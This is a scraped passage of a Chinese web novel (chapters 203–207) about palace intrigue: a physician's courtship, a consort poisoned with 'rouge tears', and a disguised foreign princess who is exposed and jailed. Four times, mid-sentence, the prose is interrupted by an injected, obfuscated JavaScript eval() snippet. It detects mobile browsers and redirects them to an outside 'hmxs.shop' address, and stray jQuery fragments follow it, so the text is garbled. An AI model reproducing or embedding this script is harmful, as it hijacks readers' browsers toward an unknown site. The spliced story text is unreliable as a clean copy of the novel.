月清绝摇了摇头,“如今她身怀有孕,我倒是不好用药的,她每晚梦魇是因为精神压力太大了,又是双身子,本就容易疲惫,偏偏又有这么多的时候扰着她,接下来几日就让她好好在未央宫养身子。” “欢凉,你来跟我去抓药。” “去吧,这里我守着。”陌姑姑看了眼欢凉。 月清绝和欢凉一同去了太医院,一路上他们二人都选择了沉默,月清绝走在前面,欢凉默默地跟在他的身后。 到了太医院,月清绝直接写了方子交给了小医僮去抓药。 看着她清丽的眉眼,月清绝忍不住朝她靠近,虽然和平常一样摇着羽扇,但是若是仔细便能发现,他握着羽扇的手微微有些轻颤。 “今天的事情对不起,我当时没有多想就……” “没有对不起。”他亲了她,她也打过他了,扯平了不是么。 她看了眼月清绝,他脸上的指印魏然处理过了,但是离得近了还能看得出来。 月清绝一把拉住了转身欲走的欢凉,沉声道:“你,还没有给我答复。” 感觉抓药的小药僮往这里看来,欢凉一把拂掉了月清绝的手,那小药僮探究的眸光在二人之间流转,欢凉只觉得一阵尴尬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648364|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “月公子,药都抓好了。” 欢凉赶在月清绝之前接了药,然后头也不回的出了太医院。 月清绝走在欢凉身后,说道:“几日之后,我陪你们一同去南昭。” 欢凉脚步一顿,转身道:“你得留在这里。” “我已经传书让老头子出谷来夏宫,原本我也是打算去南昭寻药的。” “可是……” “没什么可是,袭匀去,我自然也要去。” 欢凉咬牙,“我们去南昭拭去寻药的,不要让你和袭匀打架的。” “本公子才不屑于和他打架。” “反正你也打不过他。” 月清绝快走了两步,拉住欢凉,“我喜欢你的事情,无双早就告诉我爹娘了,这次老头子来一方面也是想来太师府提亲的。” 看着欢凉微变的脸色,月清绝立即道:“你先别生气,只要你不答应,老头子不会去太师府的。” “我不答应。”他的话音刚落,欢凉立即拒绝。 “你当真对我一点也没有感觉?” 感觉,什么样的感觉,她从未喜欢过人,不知道喜欢人是怎样的感觉,看着公主和北宫喆爱的死去活来,却是彼此折磨,尽管后来和好了,但现在的公主,依旧不快乐。 她想,喜欢人应该是一件很累的事情吧。 若是她也陷入情爱,弄得一身伤痕累累,说不准那时公主还会为了她操劳,更别说她要帮公主分忧解难了。 看着欢凉略带迷茫的眼神,月清绝眼中的希冀一点点淡去,一开始时她会毫不客气的骂他不要脸,后来他开开玩笑,她会羞怯的躲避,他以为她那是对他心动了,可是现在看她的样子,分明是一副不谙情事的模样。 是他操之过急了么? “算了,走吧。”这次倒是月清绝率先走在了前面。 半晌,他的身后传来了一道清丽的声音,“喜欢一个人太累了,我不想太累。” 太累?喜欢一个人不应是很美好的么,怎么会累? 月清绝顿时联想到了北宫喆和安文夕,他们的爱的确够累,也很心酸。 难道是因为这个,这个小丫头才会对男女情事进行抵触? 两个人又很默契的像来的时候一般,谁都没有说话。 到了未央宫门口,月清绝深深的看着欢凉道:“那件事你别再多想了,以后我不再逼你。”他说完,顿时消失在了漆黑的夜色中。 欢凉看着他的背影蓦地一阵怅然,心里有一股莫名的感觉涌了上来,说是失落也不算,但是就是觉得胸口有些闷得慌。 她深吸了两口气,转身去了小厨房煎药,安文夕所有喝的药,都是来自她和陌姑姑之手,就是这样防范,还是不免让人给钻了空子。 安文夕这一睡便是一天一夜,等她醒来时已是第二日的黄昏。 铜镜里的她脸色苍白的可怕,而她的眉心处却出现了一点点殷红,不仔细看根本看不出来。 她的手指触到了她的额头,哪里的一块皮肉虽然已经长得天衣无缝,但是那块皮肉却终究不是她的。 第204章 命运弄人 第二百零四章命运弄人 还记得当时在枫月谷他是怎样的气愤,将胸前最嫩的皮肉生生剜了下来,给她换了皮,即使让她恨着他,他都要霸占着她的记忆。而现在他却不记得她了,真是命运弄人! 安文夕坐在院子里的秋千上,静静地看着在风中起舞的蔷薇花,又是一年夏天。 算算日子,离她的生辰也不到一个月了,她这就十七了,明明还是那般稚嫩的年纪,可是为何她却觉得自己的心已经历尽沧桑。 “公主,回去吧,天要凉了。”欢凉从她身后给她披上了一件披风。 “都夏日了,不必再给我披披风了。” 欢凉却握了她的手道:“即便是夏日了,公主这手依旧是冰凉的。” “那件事办得如何了?” “一夜之间,几乎连路边卖花的小丫头都知道了即将册立的皇后是个魔鬼!整个朝堂嘘唏一片,不少臣子联名上奏,请求另立新后。” 安文夕微微勾唇,这皇后是要母仪天下的,半点污点都不能有,那些朝臣怎么会允许一个依靠鲜血而活的阴邪女子成为皇后呢! “至于原本流传的关于公主的流言在一夕之间全部湮灭了。”这个速度倒是出乎了她的意料。 安文夕微微点头,从秋千上起身,“走吧,去看看无双。” 去看月无双就免不了见到月清绝,自昨日的事以来,尽管她和月清绝照旧那般相处,可是好像有什么不一样了。 “你怎么来了?”安文夕刚一进门,月清绝便皱了眉头。 安文夕淡淡笑了笑,“我还没有那般不中用。” “如今你这身子说晕就晕,还是仔细些好。”月清绝叹了口气,明明身怀有孕,偏偏这个时候,自己男人还把她忘的干干净净,还有一堆虎视眈眈的女人时刻想着怎样谋害她肚子里的孩子,简直是太受累了。 “无双的情况怎么样了?” “有护心丸吊着一口气呢。” 安文夕发现月无双眉心的泪痣比她的要红上几分,“月公子,你有没有办法可以延长些时日。” 月清绝摇了摇头,要是换了别的毒,他兴许还能配些药来延长些时间,可是偏偏这胭脂泪他却是没有一点办法,只要过了七日,就是大罗神仙也救不了! “你别担心了,总会有办法的,一定会找到下毒之人。”月清绝声音浅淡,他如今也不敢笃定了,琼华殿里的那一位都整整一天了半点动静都没有。 今天一早,大夏即将册立的新后是魔鬼的消息不知从哪里散播出来,以迅雷不及掩耳之势在整个承安蔓延。不少朝臣联名上奏另立新后一事,北宫喆正忙的焦头烂额,估计也没有功夫去找下毒之人。 他隐隐觉得,现在的北宫喆有些不对劲,对人对事,貌似比以前更冷上几分。 他虽然着急但是却丝毫没有办法,无双这里离不了他。 “有线索了么?”安文夕沉声问。 “线索,目前还没有,但是如今你还是先担心自个吧,为了肚子里的孩子,这件事你还是不要管了。” 安文夕挽了眉头,过了今日,就只有六天了。 “欢凉你先送她回房吧,她不宜操劳。” “公主,我们先走吧,一会该用晚膳了。” 回到寝殿,安文夕捧着茶水愣神,半晌抬眸看向欢凉道:“袭匀在宫外可有发现什么?” “没有。”欢凉摇了摇头。 安文夕眉头轻挽,如今在宫外找不到线索,就只能从宫中入手了。 “可在宫里发现什么蛛丝马迹?” “没有,子目那里我也特地查看了的,没发现什么异常。” 安文夕细细思索了一番,将子目排除,子目到底和她有十年的感情,就是她当日想用麝香给她落胎,但是她还是不会伤害她的性命。 “那个人那里呢?” 欢凉再次摇了摇头,“公主,你说这件事会不会和她无关呢,毕竟那毒是来自南昭,而不是西楚。” 那个人不笨,既然已经暴露了身份,自然不会傻到再用西楚的东西对她动手。 “是不是她,试一试不就知道了?”安文夕眸光微敛,捧着的茶送到嘴边,却发现茶水早已经冷了。 “从清幽宫出去的那个女人如今还在凤青轩吧。” “公主说的是……” 安文夕淡淡点头,“明日你将她带进宫。” “带她?” “是,如今也该将那个人的身份揭穿了!”安文夕杏眸微眯,没有人喜欢自己的身边时时潜伏了一条阴狠的毒蛇! 这一夜,安文夕睡得依旧不安稳,失眠了大半宿,天到蒙蒙亮时,这才迷迷瞪瞪睡了过去。 再次醒来,已是日上三竿。 简单的用了早膳,就由欢凉搀着去御花园处散步。 —— 夏日一来,内务府给每个宫里的嫔妃新做了夏装,每个宫里都会遣了人去领取。 玲珑自幼跟着黎诗琪生活在西楚宫中,什么名贵的东西没见过,自然对于这小小美人的衣物是看不上眼的,她淡淡扫了一眼,便收了起来,转身回储秀宫走去。 经过御花园之时,只觉得前方不远处一阵威压逼人,她蓦然抬眸望去,只见皇贵妃一袭月白长裙曳地三尺有余,高高的发髻上面不着朱钗,尽显清华之姿。苍白的脸上没有半点血色,但是那一双凌冽的双眸却令人无法忽略。 见惯了皇贵妃一袭红衣如火,妖娆夺目,突然见她如此清淡的装束,只觉得青妍逼人,宛若九天仙女。 “大胆,见了皇贵妃娘娘还不行礼!” 玲珑这才发觉她刚才失态了,仅仅一瞬的功夫,她立即收起眼底的惊色,跪在了地上。 “奴婢给皇贵妃娘娘请安。” “起来吧,你是哪个宫的?”安文夕清淡的声音在她的上方响起。 玲珑不卑不亢的起了身,浅浅福身,“回皇贵妃娘娘,奴婢是储秀宫清秋阁的。” 安文夕淡淡点头,扫了眼她捧着的衣物,对她道:“那你赶紧回去吧,别让你家娘娘等急了。” 玲珑看着安文夕温温润润的眉眼,心中微微一松。 “奴婢告退。” 她刚走了两步,却感觉脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648365|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下被人绊了一脚,身子不受控制的朝她身边的人影扑去。 不好,那可是皇贵妃! 还没有等玲珑反应过来,欢凉已经扶住了踉跄身形的安文夕。 “娘娘,你怎么样,有没有事?”欢凉满眼担忧。 安文夕顿时脸色惨白如纸,靠在欢凉怀中晕了过去。 “来人,快来人!”欢凉急切地大喊。 跌坐在地上的玲珑看着这一幕,一颗心蓦地沉入谷底,电石火花之间,她突然明白,她好像中了别人下的套了! 她的身形刚动,就传来欢凉夹带着怒气的声音,“你不许走,就是你推得娘娘,若是娘娘和小皇子有个三长两短……” “奴婢不是故意的,刚才有人绊了奴婢一下。”玲珑急忙解释道,她不能在这个节骨眼上给主子招惹祸端。 “带走!”欢凉咬牙。 清秋阁。 黎诗琪转动暗格,从里面取出一个小瓷瓶来,反复打量,似乎在思索着什么,嘴角的笑意越发的冷意森森。 半晌,她的双眸一眯,眼底划过一抹狠戾,又重新将小瓷瓶放到暗格后面。 “玲珑……” “司琪……” 过了许久也不见玲珑回来,不就是取个衣服么,怎么慢慢腾腾的耽误了这么长的时间。 门口处传来一阵急切的脚步声,黎诗琪的心蓦地一滞,一种不好的预感萦绕在她的心头。 “主子,不好了,玲珑出事了!”司琪满脸担忧。 然后,她将玲珑在御花园的事情向黎诗琪说了一遍,听到最后,黎诗琪的脸色已经黑成了锅底。 她双拳紧握,双眸泛出阵阵杀意。 这个安文夕,竟然敢公然挑衅她! “主子,我们接下来该怎么办?”司琪声音一沉,要是皇贵妃咬着不放的话,那玲珑…… “走,去未央宫!”黎诗琪眸光一沉。 黎诗琪一路慌忙走到了未央宫,一路上她也没有想明白为何安文夕会在这个时候反击。 她还没有进殿就被拦在了外面,陌姑姑一脸冰冷道:“月公子正在给皇贵妃娘娘看诊,黎美人现在还不能进去。” 黎诗琪压下心中的怒气道:“这位姑姑,本宫想问一下,本宫身边那个名叫玲珑的宫女现在身在何处?” “奴婢不知。”陌姑姑清冷的眉眼看也未看黎诗琪一眼。 欢凉这时从内殿走了出来,看着黎诗琪道:“谋害皇嗣,死罪一条,这一点想必黎美人比我更清楚。” “玲珑不会做出谋害皇嗣的事情的。”一直沉默的司琪说道。 欢凉的眸光瞥了眼司琪,又再次落到黎诗琪脸上道:“当时许多在御花园的奴才都看到了是那宫女推得皇贵妃娘娘,就不知道是她胆大妄为还是听命于人了!” 黎诗琪双眸中划过一抹狠戾,今日这安文夕就是非要玲珑的命不可了! 就在这时,月清绝从内殿走了出来,对欢凉道:“人醒了。” 欢凉脸上顿时一喜,忙进了内殿,黎诗琪也咬牙跟上,她倒要看看这安文夕的葫芦里卖的什么药! 第205章 拿出证据 第二百零五章拿出证据 安文夕本就没事,御花园一事不过是在做戏罢了,此时她斜斜靠在床榻上,锐利的双眸锁住来人。 黎诗琪隐忍着向安文夕福身行礼道:“嫔妾给皇贵妃请安。” 安文夕深深地打量了她一眼,轻声道:“起来吧。” “敢问皇贵妃娘娘,身体如何?” “万幸,母子无事。” 黎诗琪稍稍松了口气,“皇贵妃,嫔妾今日来所为何事,想必你也清楚,我那宫女是绝不会伤害皇嗣的。” “哦,是么?”安文夕慵懒的掀起眼皮,“可是本宫这里人证物证俱在。”说着她朝欢凉递了个眼神。 欢凉立即明了,“我这就将证人带上来。” 黎诗琪眸光一沉,似是不耐,咬牙道:“皇贵妃你这到底什么意思?” 这明明就是她事先设好的圈套罢了! 安文夕微微勾唇,终于还是沉不住性子了! “本宫还想问问八公主这是什么意思?胭脂泪,你不会不知道!”安文夕微微指了指眉心中的胭脂泪痣。 黎诗琪这才注意了安文夕眉心的东西,顿时脸色丨微变。怎么会是胭脂泪,她明明还没有动手,那这是谁做的? 安文夕将黎诗琪的表情尽收眼底,黛眉轻挽,她果然知道胭脂泪的,这件事和她脱不了干系! “皇贵妃娘娘,想必是认错人了,什么八公主,什么胭脂泪,嫔妾不知道。” 还要装蒜么? “欢凉,将她带上来!”安文夕的语气中带了丝不怒自威。 黎诗琪的心中咯噔了一下,她直觉这个人会是她不想见到的人。 半晌,一个身着鹅黄罗裙的女人缓缓踏入内殿。 “民女给皇贵妃娘娘请安。” 一声清丽的声音传来,犹如一记重锤砸在了黎诗琪的心中,她难以置信的抬起头,看向那女子。 黎诗雅,她不是死在清幽宫了么! 安文夕淡淡扫了眼黎诗雅惊讶的脸颊,转眸看向黎诗雅道:“这个人,你可认识?” 黎诗雅眼中蓄满了恨意,就是她害得自己不仅不能生育,还被打入清幽宫,最后竟然还想着一杯毒酒让她自行了断! 幸好,皇贵妃将她救了出去,一直安排在了凤青轩。 “启禀皇贵妃娘娘,这个人她就是化成了灰我也认识!”黎诗雅咬牙切齿道。 “她可是你的妹妹?” “不,她不是!”黎诗雅双眸尽是恨意,身子因愤怒而微微发抖,她朝黎诗琪扑去,恨恨的抓住她的衣服,谁知却被她不动声色的给甩开了。 “姐姐?” “别叫我姐姐,我不是你姐姐,你不是黎诗琪,你是西楚的八公主!” “你自然不是我姐姐,我姐姐已经**!”黎诗琪看向安文夕道,“皇贵妃娘娘,也不知道你从哪里找来一个和嫔妾去世的姐姐长相一样的人,不过看她疯疯癫癫的,只怕她说的话不足为信。” “我没有疯!”黎诗琪气的脸色发白,刚要再朝黎诗琪扑上去,却被欢凉拦住。 这个黎诗雅怎么回事,来的时候已经交代清楚了,怎么还会发疯? 黎诗琪不屑的笑了笑,“皇贵妃娘娘,这疯子一般都会说自己没疯。” “你——” 安文夕微微摆手,制止了黎诗雅,挑眉道:“八公主,相信这件东西,你应该不会陌生。” 欢凉从一旁取来一个小碟子,待黎诗琪看到上面的东西,脸色大变,眼波流转之间,她已经再次恢复了常色。 “这是什么,嫔妾不认识。” “这是千叶殇!”安文夕凌冽的眸光紧盯着黎诗琪,“当初就是这千叶殇和绿牡丹才产生令人绝育的剧毒,也是这千叶殇使得那小宫女的双手退皮。” 黎诗琪压下心中的惊讶,她一开始以为安文夕那次不过是侥幸才逃过她设下的那个局,没想到安文夕早就将此识破,还一直在等着反手一击,她是不是小瞧她了? “灵丘回宫时的暗杀,手炉上的醉朦胧,放了红花的药膳。” 安文夕声音浅淡,但每一个字都犹如一把利剑狠狠地扎在了黎诗琪的心中。 黎诗琪狠狠地攥着手中的丝帕,她竟然每一件都知道! 她的眸中浮现一抹惊赞,虽然她不喜欢安文夕,但不可否认,她很聪明,能够成为她的对手! “八公主,还要本宫继续说么?” “皇贵妃果然聪慧,本宫的确是西楚八公主楚涵萱!”她说着微微拂了拂衣摆,端出高贵典雅的公主之仪。 “那就请八公主将胭脂醉的解药交出来,不然你那位宫女可就要永远的留在夏宫了!” 楚涵萱不耐的蹙眉,“有本宫在,谁也动不了她!” “是么,八公主不知道你如今都已经自身难保了么?”安文夕睥着她,“仅仅你冒用黎诗琪的身份,就是欺君大罪,更不用说你三番五次残害皇嗣了!” “呵呵……”楚涵萱蓦地笑了,脸上带着一抹自信,“这些就算皇上知道了,又能如何,他不会将本宫怎么样的,本宫是大楚最尊贵的公主,若是本宫出了事,西楚绝不会放过大夏!” 这个八公主是不是太过自信了,若是西楚文帝在位的话,也许她说的还是事实,但是如今西楚的皇帝可是楚君昱!而楚君昱似乎和这个八公主的关系并不亲厚,难道他会因为一个公主而和大夏结仇么? “可是八公主,你现在的身份是黎诗琪,在这深宫,随便死个美人可是再寻常不过的事情。” “你,你想做什么?”这时,楚涵萱脸上才出现了一抹惊慌,虽然被她很快的掩去,但是却被安文夕收入眼底。 “本宫最后说一次,交出胭脂泪的解药,本宫便饶了那个宫女。” “这件事不是本宫做的,哪来的解药。”楚涵萱眉间染了丝薄怒,“皇贵妃一口咬定是嫔妾做的,那么证据呢?” “证据?”安文夕似有所思的打量着楚涵萱。 那淡然的眸光看的她一阵心惊肉跳,难道她心中真握着证据不成,她眼底的余光瞥了眼一侧双目含怒看着她的黎诗雅,心中想法更加坚定起来。 这安文夕总能不声不响的给人致命一击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650415|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她不得不妨! “皇上驾到!”这时,殿外突然传来一声尖细的声音。 北宫喆脸色冰冷,就连双眸都沁着寒霜,踏进殿内,看到床榻上血色全无的小脸,他的眸色又冷了几分,真是一个不让人安生的女人! 这件事他差点就可以顺藤摸瓜查出幕后之人,可是这个女人却偏偏横插一手! 看着她那淡然的模样,别人定然以为她手中已经十足的把握这胭脂泪是楚涵萱下的手,可是他知道,这个女人手中根本就没有任何证据,不过是在和楚涵萱进行心理战术罢了! 若是他再不出现,他倒要看看她能拿出什么样的证据! “嫔妾给皇上请安。”楚涵萱心中一松,立即福身行礼。 北宫喆淡淡扫了她一眼,径直迈了进去。 楚涵萱紧紧握拳,这个人从来就不正眼看她一眼! “臣妾,给皇上请安。”因为安文夕在床上,她只微微福了福身。 自从那一晚,安文夕已有两日没有见过北宫喆了,而他眉宇间的陌生倒是更甚了几分。一身明黄龙袍,袖口处滚着金边,胸前的五爪金龙更添凌冽之势。 北宫喆环视了眼殿内,才冷声吩咐道:“都起来吧。” 冰冷的声音落在殿内,整个大殿的空气都冷了几分。靠近北宫喆的地方,更是寒气凛冽。 “请皇上给嫔妾做主,皇贵妃诬陷嫔妾用胭脂泪毒害了她,还扣下了嫔妾的贴身宫女玲珑。”楚涵萱立即福身道。 “诬陷?” “是,皇贵妃一口咬定是本宫下的毒,那就让皇贵妃娘娘拿出证据!”楚涵萱紧咬着下唇,她的手心沁了一层细汗,她想看看这安文夕是如何拿出证据的! 北宫喆冷煞的眸光缓缓对上安文夕清澈的杏眸,缓缓道:“皇贵妃,现在就拿出你的证据吧!” 那一双冰冷的双眸,黑瞳幽深,分明带了丝警告。 这是警告她什么,自作主张安排了今日的事情,还是警告她耍心机? 安文夕的心被揪得生疼,她一瞬不瞬的和北宫喆对视,仿佛没有听到他的话一般。 “皇贵妃,嫔妾等着你的证据呢。”楚涵萱紧逼道。 “好。”安文夕缓缓垂下了眼睑,素手微微一扬,欢凉一咬牙出了内殿。 安文夕话音一落,不止楚涵萱,就连北宫喆眸底都划过了一抹讶色,他根本就没指望她能拿出证据,不过是想看看这个女人惊慌失措狼狈的模样,没想到这个女人从始至终都是一副充满自信的样子! 可她,能拿出什么证据? 安文夕锐利的双眸直直逼近楚涵萱的眼中,“八公主,你可想好了,一旦证据拿来了,等待你的可是……” 楚涵萱神情一滞,心中顿时咯噔了一下。 她咬了咬牙,“若是皇贵妃拿出证据,本宫……” 楚涵萱的话还未说完,欢凉已经和月清绝并肩走了进来,“娘娘,证据到了!” 看着月清绝轻摇羽扇,神情淡然的模样,楚涵萱情不自禁的攥紧了手中的丝帕。 难道她手中真的有证据? 第206章 线索断了 第二百零六章线索断了 “皇上,皇贵妃。”月清绝收了羽扇,意有所思的看了眼楚涵萱,然后缓缓从袖中取出一个白色小瓷瓶。 楚涵萱的心顿时提到了嗓子眼,她明明放在暗格后面的,怎么会? “本公子已经检查过了,这里面的确就是胭脂泪,是从黎美人……不,八公主房内搜查出来的!” “不可能!绝不可能!”楚涵萱难以置信的冲过去一把将月清绝手中的小瓷瓶夺了过来,拔开瓶塞,待看到里面朱红色的粉末不禁后退了两步。她慌忙将粉末倒入了手掌中,放到鼻翼之下嗅了嗅,顿时脸色大变,手中的小瓷瓶倏地滑落下去,转瞬摔得粉粹。 她真的拿到了,可是,这怎么可能呢? 她脸上的慌乱怎么也掩不下去,司琪立即过去扶她,“主子。” 楚涵萱此时在心中已经掀起了惊涛骇浪,那人告诉她若是在北宫喆立后之日给安文夕下了胭脂泪,不仅可以除去安文夕,还可以破坏立后大典,为何那安文夕现在就已经中了胭脂泪? 她感觉自己好像被人当做了一枚棋子,一枚去送死的棋子! 楚涵萱飞快的压下心中的惊骇,抬眸看向北宫喆道:“不管你信不信,反正这件事不是本宫做的。” “在证据面前,你还想抵赖?” 楚涵萱看着北宫喆清冷的眉眼,知道自己有苦难言,她咬牙道:“不管如何,这件事总该跟玲珑没关系,放了她!” “八公主的意思,是承认了么?”安文夕冷冷逼问。 楚涵萱紧紧盯着安文夕,紧咬着下唇,这不是她做的,可是如今证据确凿,她却百口莫辩!她如今也尝到了这种被人陷害而有苦说不出的滋味! “玲珑呢?” “皇上,那玲珑撞到了皇贵妃,意图谋害皇嗣,皇贵妃娘娘已经将她交给了慎刑司。”欢凉看了楚涵萱朝北宫喆福身道。 “慎刑司!”楚涵萱咬牙切齿道,那慎刑司可是个**不吐骨头的地方,玲珑进去了就是不死也得退层皮! “安文夕,你敢!”楚涵萱大怒。 “残害皇嗣,死罪一条!” 北宫喆冰冷的声音响起,楚涵萱的心顿时跌入谷底,若是刚才和安文夕交易只需要交出胭脂泪的解药,而现在北宫喆来了,玲珑就只有死路一条了么? “主子,不能不管玲珑。”司琪在一旁小声道。 玲珑跟了她十几年,楚涵萱自然知道不能不顾玲珑的生死。 她握了握拳,抬眸和北宫喆对视道:“北宫喆,你若是敢动玲珑,本宫绝不会放过你!” 北宫喆双眸一眯,嘴角噙了淡淡的不屑,“八公主,你这是在威胁朕?” 在他的宫里,威胁他,这个八公主脑子进水了么? “是,本宫威胁的就是你!”楚涵萱死死盯着北宫喆,这个宛如天神般的男人为何总是对她不理不睬,一如西楚提出的和亲,他甚至连看都未看她一眼就拒绝了。她不顾世人的眼光,顶替黎诗琪入宫半年,结果别说他从未招幸过她,他甚至从未踏进她的宫门! 在西楚,哪个男人不是仰慕她文德八公主的,何时竟让她卑微至此了?她不甘心,她想将这个男人狠狠的踩在脚下! 她抬起高傲的头,略含轻蔑道:“若是不想让安文夕死的话,就将玲珑放了!” 北宫喆薄唇轻抿,黑瞳如潭,深不见底,微冷的眸光甚至带了丝可笑。 “你先交出解药!”月清绝直接道。 “交出解药?”楚涵萱笑了起来,“那得看皇上的意思了,本宫不仅要看到玲珑安然无恙,而且,本宫要做皇后,大夏的皇后!” 嗬,好大的口气! 此言一出,不仅月清绝微抿了凤眸,就是欢凉都忍不住扯了扯嘴角。 这八公主不会被以前的西楚文帝宠的也太不知天高地厚了吧! “噗……”一直被忽略的黎诗雅不禁开口大笑,她笑过之后,这才想起自己的失态,立即垂下了头。 楚涵萱恨恨的瞪了她一眼,她提的要求很过分么,若是北宫喆真有那么爱安文夕的话,还会在乎一个后位么?江向晚背后的江家是可以帮助北宫喆稳固大夏江山,可是她楚涵萱身后的可是西楚! 半晌,大殿内想起北宫喆寒凉的声音,“你以为,你现在还有资格跟朕谈条件?” “怎么,听你的口气这是打算不管安文夕的死活?” 北宫喆的眼风朝身侧一扫,青玄立即现身抱拳道:“皇上有何吩咐?” “将她带走!” “北宫喆,你敢!”楚涵萱后退两步,一把从袖中取出一粒蜡丸,狠狠的捏在手中,盯着青玄道,“你若是敢上前一步,本宫这就捏碎它!” 北宫喆双眸一眯,身形一闪,瞬间将楚涵萱手中的蜡丸夺回。 楚涵萱看了眼被北宫喆夺去的蜡丸,不禁握拳,“你——” 北宫喆面无表情的看了眼青玄,“带走!” 司琪立即拦在了楚涵萱身前,摆开招式,警惕的盯着上前的青玄,不出两招,司琪已经败下阵来,楚涵萱不甘心的掠动身形,迅速加入战斗之中,不过一盏茶的功夫,司琪被青玄制服点了穴,而楚涵萱也受了一掌,蹬蹬后退了两步。 “北宫喆,你会后悔的——”楚涵萱不甘心的被青玄拖走! 北宫喆将手中的蜡丸扔给月清绝,然后凉淡的扫了眼安文夕,转身出了未央宫。 一到琼华殿左言立即现身将袖中的小瓷瓶交给他,“主子,这是从黎美人的清秋阁发现的,藏得很隐秘,属下只发现了这个,不曾发现别的。” 北宫喆看了未看,手下朱笔笔尖轻转,“将它去交给月清绝。” 未央宫内,月清绝打量着地上的碎瓷和一小搓朱红色粉末,嘴角微勾。 欢凉好奇的问道:“你是怎么骗过她的?”刚开始的时候,她几乎都要担心**,那胭脂泪可不是寻常东西,而那楚涵萱也不是好糊弄的。 “雕虫小技罢了。” 安文夕微微一笑,“若是月公子连这个也办不到,岂不是也太对不起神医之名了。” 只有她知道这一计十分凶险,一旦被楚涵萱识破,只怕依着北宫喆如今的性子,他是不会管她的。 就在这时,左言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650416|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从殿外进来,将手中的小瓷瓶递给月清绝道:“月公子,这是皇上让左言交给你的。” 月清绝狐疑的接了过来,拔了瓶塞,看到里面的朱红色粉末,立即凑到鼻翼嗅了嗅,不禁低唾道:“北宫喆这小子,果然是只腹黑的狐狸!” “怎么,这里面难道是真的胭脂泪?” 月清绝看了安文夕一眼,无奈的点了点头,然后拿出那粒蜡丸对安文夕道:“这解药只有一颗,看来她原本只是想让你**。” “先拿去给无双吧,她**比我深。” 月清绝犹豫了一瞬,点头道:“多谢。” “走,我们也去看看无双。”安文夕对欢凉道。 月清绝将蜡丸里的药取了出来,并没有急着给月无双服下,而是捏做了两半,放在鼻翼轻嗅。 “你能配的出来么?” “可以,因为这药是假的!这颗药里面的药都很普通,根本不是胭脂泪的解药!” “什么?”欢凉惊道,“那楚涵萱竟敢用一粒假的来糊弄我们!” 安文夕黛眉轻挽,想起楚涵萱刚刚的话来:“不管你信不信,反正这件事不是本宫做的。” 好像楚涵萱至始至终也没有承认这件事是她做的,她的神色也不像是在说谎,难道说那楚涵萱也是一个替罪羊,这毒究竟是谁下的? 半晌,安文夕看着月清绝手中的蜡丸轻声道:“也许,她对此并不知情。” “公主,你话里是什么意思?”欢凉不解。 “我说,也许这件事真的不是楚涵萱做的,她不过是被人拉着做了替死鬼!” “这件事若不是她做的,那还能有谁?”欢凉蹙眉。 月清绝也走了过来,“看来,所有的线索都断了。” 安文夕看了眼月无双的眉心,那粒绯色泪痣似乎又红了几分,今天过后,就只有五天的时间了。 慎刑司。 青玄直接将楚涵萱和司琪扔到了大牢内,便回了琼华殿。 楚涵萱向来是金枝玉叶,被宠在手心里的公主,何时受过这样的待遇。 刚进去大牢内,一股腐朽的气息扑面而来,楚涵萱不耐的皱了皱眉。 “主子!”缩在角落里的玲珑听到动静,立即起身迎了上来。 “怎么,你们也……” “公主的身份别识破了。”司琪简单道。 楚涵萱看了玲珑一眼,没发现她受伤,心中微微松了口气。 “就算是公主的身份别识破了,他们也不能将公主关在这里呀,难道是因为奴婢残害皇嗣一事?奴婢这就去告诉他们,一人做事一人当,奴婢绝不连累公主!” “回来!”楚涵萱厉声道。 看着楚涵萱凶煞的表情,玲珑杯吓了一跳,怯怯弱弱道:“怎么了,公主?” 楚涵萱微微垂眸,半晌对司琪道:“想办法给靖哥哥传书,他若是知道我被困在大夏,一定会来救我的!” “公主,我们如今身在慎刑司,根本无法向外面传递消息。更何况,如今七王爷被皇上软禁了起来,他就是知道了公主被困在大夏,也无法来救你。” 第207章 救命锦囊 第二百零七章救命锦囊 楚涵萱闻言,脸色顿时垮了下来,难道她就要一辈子待在这里了么? 不,绝对不行! 